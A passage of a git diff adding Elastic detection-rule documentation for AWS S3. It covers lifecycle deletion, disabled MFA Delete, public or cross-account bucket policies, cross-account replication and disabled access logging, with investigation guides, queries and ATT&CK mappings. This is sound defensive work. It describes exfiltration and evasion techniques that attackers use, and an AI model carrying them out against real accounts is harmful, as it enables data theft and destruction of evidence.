events may indicate lateral exfiltration setup. + +**Assess intent and risk** +- Verify if the actor has a valid business case for altering object retention. +- If the bucket is used for security, compliance, or audit data, treat this as potential defense evasion. +- Evaluate whether the lifecycle rule removes data faster than your retention policy permits. + + +*False positive analysis* + + +- **Cost optimization**: Storage teams may automate lifecycle policies to reduce cost on infrequently accessed data. +- **Compliance enforcement**: Organizations implementing legal retention policies may set expiration for specific datasets. +- **Automation and IaC pipelines**: Terraform or CloudFormation templates often apply `PutBucketLifecycle` during resource deployment. + + +*Response and remediation* + + +**Containment and validation** +**Revert or disable** the lifecycle configuration if it is unauthorized: + - Use the AWS Console or CLI (`delete-bucket-lifecycle` or `put-bucket-lifecycle-configuration --lifecycle-configuration Disabled`). +**Preserve evidence**: + - Copy existing objects (especially logs or forensic data) before they expire. + - Enable object versioning or replication to protect against loss. + +**Investigation** +Review CloudTrail and S3 Access Logs for the same bucket: + - Identify who and what performed previous deletions. + - Determine whether any objects of investigative value have already been removed. +Search for other S3 buckets where similar lifecycle configurations were added in a short timeframe. + +**Recovery and hardening** +Implement guardrails: + - Use AWS Config rules like `s3-bucket-lifecycle-configuration-check` to monitor lifecycle changes. + - Restrict `s3:PutLifecycleConfiguration` to specific administrative roles. + - Enable https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html[S3 Object Lock] on log or evidence buckets to enforce immutability. +Enable Security Hub and GuardDuty findings for additional anomaly detection on S3 data management activity. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/lifecycle-expire-general-considerations.html[S3 Lifecycle Configuration] + - https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucketLifecycle.html[DeleteBucketLifecycle API Reference] +- **AWS Playbooks** + - https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-PersonalDataBreach.md[Data Exposure and Exfiltration Response] + - https://github.com/aws-samples/aws-customer-playbook-framework/tree/main[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketLifecycle" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Expiration=") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Sub-technique: +** Name: Lifecycle-Triggered Deletion +** ID: T1485.001 +** Reference URL: https://attack.mitre.org/techniques/T1485/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-mfa-delete-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-mfa-delete-disabled.asciidoc new file mode 100644 index 0000000000..e58f243055 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-mfa-delete-disabled.asciidoc @@ -0,0 +1,112 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-mfa-delete-disabled]] +=== AWS S3 Bucket MFA Delete Disabled + +Detects when MFA Delete is disabled on an Amazon S3 bucket. MFA Delete is an additional layer of security for versioned S3 buckets that requires multi-factor authentication to permanently delete object versions or disable versioning. When MFA Delete is disabled, an adversary with S3 write access and a compromised long-term access key can permanently delete object versions, a critical step in ransomware attacks that target S3 versioning as a backup mechanism. MFA Delete is configured via PutBucketVersioning with the MfaDelete parameter set to Disabled. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/MultiFactorAuthenticationDelete.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +* https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Rule Type: Custom Query (KQL) +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket MFA Delete Disabled* + + +MFA Delete protects versioned S3 buckets by requiring MFA authentication to permanently delete object versions or change the versioning state. This protection is specifically designed to prevent ransomware from destroying version history after encrypting the current object copies. Disabling MFA Delete removes this safeguard and is a recognized ransomware preparation step. + +Importantly, only the AWS account root user can enable or disable MFA Delete. A `PutBucketVersioning` call disabling MFA Delete from a non-root identity is a strong indicator of root credential compromise or unauthorized use. + + +*Possible investigation steps* + + +- Identify the caller from `aws.cloudtrail.user_identity.type`. If this is not a `Root` identity, treat it as high-confidence unauthorized access. +- Check `aws.cloudtrail.request_parameters` to confirm `VersioningConfiguration={... MfaDelete=Disabled}` is present. +- Review all API calls by the same identity in the surrounding window for other data-destruction or encryption-related actions. +- Check whether object versioning remains enabled on the affected bucket. If both versioning and MFA Delete are disabled, the bucket has no object-level recovery protection. +- Investigate whether MFA was presented (`aws.cloudtrail.additional_eventdata` contains MFA information for requests that required it). + + +*Response and remediation* + + +- If unauthorized, immediately re-enable MFA Delete using root credentials and verify that object version history is intact. +- Rotate all credentials associated with the calling identity. +- Review S3 object versions for any permanent deletions that occurred after MFA Delete was disabled. +- Enable AWS Config rules to detect versioning and MFA Delete configuration changes. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. S3 management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: "PutBucketVersioning" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.VersioningConfiguration.MfaDelete: "Disabled" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc new file mode 100644 index 0000000000..bd2261c421 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-allow-public-access.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-allow-public-access]] +=== AWS S3 Bucket Policy Added to Allow Public Access + +Detects when an Amazon S3 bucket policy is modified to grant public access using a wildcard (Principal:"*") statement. This rule analyzes PutBucketPolicy events that include both Effect=Allow and Principal:"*" in the request parameters, indicating that permissions were extended to all identities, potentially making the bucket or its contents publicly accessible. Publicly exposing an S3 bucket is one of the most common causes of sensitive data leaks in AWS environments. Adversaries or misconfigurations can leverage this exposure to exfiltrate data, host malicious content, or collect credentials and logs left in open storage. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Policy Added to Allow Public Access* + + +This rule detects modifications to Amazon S3 bucket policies using the `PutBucketPolicy` API where both `Effect=Allow` +and `Principal:"*"` are present. This effectively grants permissions to all AWS identities, including unauthenticated users. +Such exposure can result in sensitive data leaks, ransomware staging, or unauthorized data collection. + +This rule focuses on policy-based exposure rather than ACL-based or block-public-access configurations. +It will still trigger if a bucket policy includes both `Effect=Allow` and `Effect=Deny` statements that contain `Principal:"*"`. Those cases should be reviewed to confirm whether the `Deny` statement restricts access sufficiently. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Validate whether this user or role is authorized to modify S3 bucket policies. + - Examine `source.ip`, `source.geo`, and `user_agent.original` to identify unusual sources or tools (e.g., CLI or SDK-based activity). + +- **Analyze the Bucket Policy Content** + - Extract the full JSON from `aws.cloudtrail.request_parameters`. + - Look for `Effect=Allow` statements paired with `Principal:"*"`. + - Identify what permissions were granted — for example: + - `s3:GetObject` (read access to all objects) + - `s3:PutObject` or `s3:*` (read/write access) + - Check if the policy also contains any `Effect=Deny` statements targeting `Principal:"*"`. + If present, determine whether these statements fully restrict public access, if so this alert can be closed. + +- **Assess the Impact and Scope** + - Review `aws.cloudtrail.resources.arn` to confirm which bucket was affected. + - Determine if the bucket contains sensitive, regulated, or internal data. + - Check for `PutPublicAccessBlock` or `DeleteBucketPolicy` events in close proximity, as attackers often disable protections first. + +- **Correlate with Related Activity** + - Review CloudTrail for `GetObject` or `ListBucket` events following the policy change to identify possible data access. + - Look for policy changes across multiple buckets by the same actor, suggesting scripted or automated misuse. + +- **Validate Intent** + - Contact the bucket owner or application owner to determine whether this change was part of a legitimate operation (e.g., website hosting or public dataset publishing). + - Review change management logs or ticketing systems for documented approval. + + +*False positive analysis* + + +- **Intended Public Access** + - Buckets used for static websites, documentation hosting, or public datasets may legitimately contain `Principal:"*"`. + - Verify such use cases are covered by organizational policies and hardened with least-privilege permissions (e.g., read-only). + +- **Effect=Deny Condition** + - This rule does not currently exclude cases where `Principal:"*"` appears under both `Effect=Allow` and `Effect=Deny`. + - Analysts should review the bucket policy JSON to confirm whether `Deny` statements restrict the same resources. + - If access remains blocked to unauthorized entities, the alert can be dismissed as a false positive. + +- **Automation or Pipeline Behavior** + - Some automated pipelines or templates (e.g., Terraform, CloudFormation) create temporary policies with `Principal:"*"` for bootstrap access. + Review timing, user agent, and role identity for expected automation patterns. + + +*Response and remediation* + + +- **Containment** + - If exposure is unauthorized, immediately remove the public access policy using: + - `aws s3api delete-bucket-policy` or restore from version control. + - Re-enable Block Public Access at the account and bucket levels. + +- **Investigation and Scoping** + - Review CloudTrail and S3 access logs to identify whether external IPs accessed bucket objects after the policy change. + - Search for similar policy updates across other buckets in the same account or region. + - Validate AWS Config history for baseline deviations and determine how long the bucket was publicly exposed. + +- **Recovery and Hardening** + - Reinstate the intended bucket policy from backups or version control. + - Implement AWS Config rules: + - `s3-bucket-public-read-prohibited` + - `s3-bucket-public-write-prohibited` + - Restrict `s3:PutBucketPolicy` permissions to trusted administrative roles. + - Apply service control policies (SCPs) that prevent policies containing `Principal:"*"` unless explicitly approved. + - Enable continuous monitoring through AWS Security Hub or GuardDuty for any new public exposure events. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and stringContains(aws.cloudtrail.request_parameters, "Principal=\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc new file mode 100644 index 0000000000..c3d956afa1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-policy-added-to-share-with-external-account]] +=== AWS S3 Bucket Policy Added to Share with External Account + +Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Collection +* Tactic: Exfiltration +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Policy Added to Share with External Account* + + +This rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID. +It compares the bucket’s `recipient_account_id` to any account IDs included in the policy’s `Effect=Allow` statement, triggering +an alert if the two do not match. + +Adversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account +they control, enabling ongoing access to the bucket’s contents even if IAM credentials are rotated or revoked. + +This detection specifically focuses on policy-based sharing and does not alert when: +- The account ID appears within the bucket or object name being shared. +- The account owner explicitly matches the policy’s condition keys on something other than an ARN or account id (i.e. IP address). + +To fully monitor for suspicious sharing behavior, use this rule in combination with detections for: +- Unusual PutBucketPolicy requests +- Cross-account object access (e.g., `GetObject`, `PutObject`) +- Changes to bucket ACLs or access points + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Determine if the identity typically manages S3 bucket policies. + - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared. + +- **Analyze the Policy Change** + - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. + - Check for `Effect=Allow` statements granting broad permissions such as `"Action": "s3:*"` or `"Resource": "*"`. + - Verify if the added principals correspond to known partners or external vendors. + - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. + +- **Review Context and Source** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies — such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`). + +- **Correlate with Related Activity** + - Search CloudTrail for subsequent activity by the external AWS account ID(s): + - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration. + - Look for additional configuration changes by the same actor, such as: + - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` — often part of a larger bucket compromise chain. + - Determine if multiple buckets were modified in quick succession. + +- **Validate Intent** + - Review internal change requests or documentation to confirm whether this external sharing was approved. + - If no approval exists, escalate immediately for potential compromise. + + +*False positive analysis* + + +- **Authorized Cross-Account Access** + - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. + - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist. +- **Automation or Deployment Pipelines** + - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. + - Verify the `user_agent.original` or role name — automation often includes identifiable strings. +- **Naming and Rule Logic Limitations** + - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). + - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets. + + +*Response and remediation* + + +- **Immediate Review and Containment** + - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). + - Remove external principals and reapply the correct bucket policy. + - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools. + +- **Investigation and Scoping** + - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. + - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe. + - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions. + +- **Recovery and Hardening** + - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege. + - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions. + - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events. + - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and ( + stringContains(aws.cloudtrail.request_parameters, "AWS=") or + stringContains(aws.cloudtrail.request_parameters, "aws:PrincipalAccount=") or + stringContains(aws.cloudtrail.request_parameters, "aws:SourceAccount=") + ) +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:cloudfront::") +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:iam::cloudfront:user") +and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-replicated-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-replicated-to-another-account.asciidoc new file mode 100644 index 0000000000..b3202b2ed7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-replicated-to-another-account.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-replicated-to-another-account]] +=== AWS S3 Bucket Replicated to Another Account + +Identifies the creation or modification of an S3 bucket replication configuration that sends data to a bucket in a different AWS account. Cross-account replication can be used legitimately for backup, disaster recovery, and multi-account architectures, but adversaries with write access to an S3 bucket may abuse replication rules to silently exfiltrate large volumes of data to attacker-controlled accounts. This rule detects "PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-walkthrough-2.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketReplication.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Exfiltration +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Replicated to Another Account* + + +Cross-account S3 replication enables automated copying of S3 objects into a different AWS bucket. While useful for backup and organizational data flows, adversaries may exploit it as a covert exfiltration channel. Once replication is configured, any future writes to the bucket are silently copied to the destination bucket—even if object-level access controls block the attacker’s direct downloads. For this reason, unauthorized replication configuration should be considered high-risk. + +This rule detects successful `PutBucketReplication` events and flags cases where the replication configuration specifies a destination AWS account different from the source. + + +*Possible investigation steps* + + +**Understand who initiated the replication change** +- Inspect `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify the actor. +- Review authentication patterns such as federated session names, role chaining via STS, or unfamiliar IAM roles. +- Examine `source.ip`, `source.geo` fields, and `user_agent.original` for unusual locations, automation tools, or anomalous access paths. + +**Examine the replication rule details** +- Inspect `aws.cloudtrail.request_parameters` for: + - The **destination account ID** (`Account=`). + - The **IAM role ARN** used for replication. (`Role=`) + - Any filtering rules (prefixes, tags) that narrow or broaden what will be replicated. + +**Determine whether the destination account is authorized** +- Validate whether the destination AWS account belongs to your AWS Organization. +- Check internal documentation, IaC templates, or tagging standards to confirm whether replication to this account is expected. +- Look for prior legitimate infrastructure workflows such as: + - Centralized logging + - Backup/DR accounts + - Cross-region compliance replicas + +Unrecognized accounts should be treated as a strong exfiltration signal. + +**Assess the scope of potential data exposure** +- Determine whether the bucket contains sensitive or regulated data (PII, financial records, secrets, logs, etc.). +- Identify whether object versioning, lifecycle rules, or access logging were modified recently. +- Check for preceding or subsequent actions such as: + - `PutBucketPolicy` updates granting new principals access + - Creation or modification of IAM roles tied to replication + - `DeleteObject` or `PutObjectRetention` attempts that might pair with exfiltration + +**Correlate with other suspicious activity** +Pivot in CloudTrail on the same principal or same bucket: +- Prior reconnaissance such as `ListBuckets`, `GetBucketReplication`, or `GetBucketPolicy` +- Modification of KMS policies or unexpected encryption key usage +- New access patterns from external IP addresses or unusual automation + + +*False positive analysis* + + +**Legitimate cross-account replication** +Validate: +- The destination account belongs to a known OU or business unit +- The replication role ARN matches expected automation +- The change aligns with documented deployment or maintenance schedules + +**Temporary migrations or transitions** +During account restructuring or workload migration, administrators may temporarily redirect replication to new accounts. + +Tuning options: +- Exception lists based on IAM role ARNs +- Tag-based environment scoping +- Change-window-based suppression + + +*Response and remediation* + + +**Contain potential exfiltration** +- Remove or update replication rules to eliminate unauthorized destinations. +- Disable or restrict the replication IAM role until the investigation is complete. +- Review S3 object access logs to determine whether data has begun replicating to the external account. + +**Investigate scope and impact** +- Identify the volume and types of data at risk of replication. +- Determine whether the external bucket shows successful replication traffic (if logs or access are available). +- Assess whether the actor also modified bucket policies, encryption settings, or KMS keys. + +**Credential and role hygiene** +- Rotate credentials for the initiating user or role if compromise is suspected. +- Review IAM role trust policies, especially if STS sessions or EC2 role assumptions were involved. +- Enable MFA and tighten conditions for administrative roles capable of modifying replication. + +**Hardening and preventive controls** +- Enforce SCPs that restrict cross-account replication except for explicitly approved destinations. +- Require approval workflows before modifying replication or retention settings. +- Use AWS Config and Security Hub controls to detect: + - Buckets with unexpected replication rules + - Newly added cross-account permissions + - Changes to bucket policies, block-public-access settings, or KMS key policies + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.action == "PutBucketReplication" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Account=") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-server-access-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-server-access-logging-disabled.asciidoc new file mode 100644 index 0000000000..600c4ea413 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-s3-bucket-server-access-logging-disabled.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-aws-s3-bucket-server-access-logging-disabled]] +=== AWS S3 Bucket Server Access Logging Disabled + +Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS S3 +* Tactic: Defense Evasion +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Server Access Logging Disabled* + + +This detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging 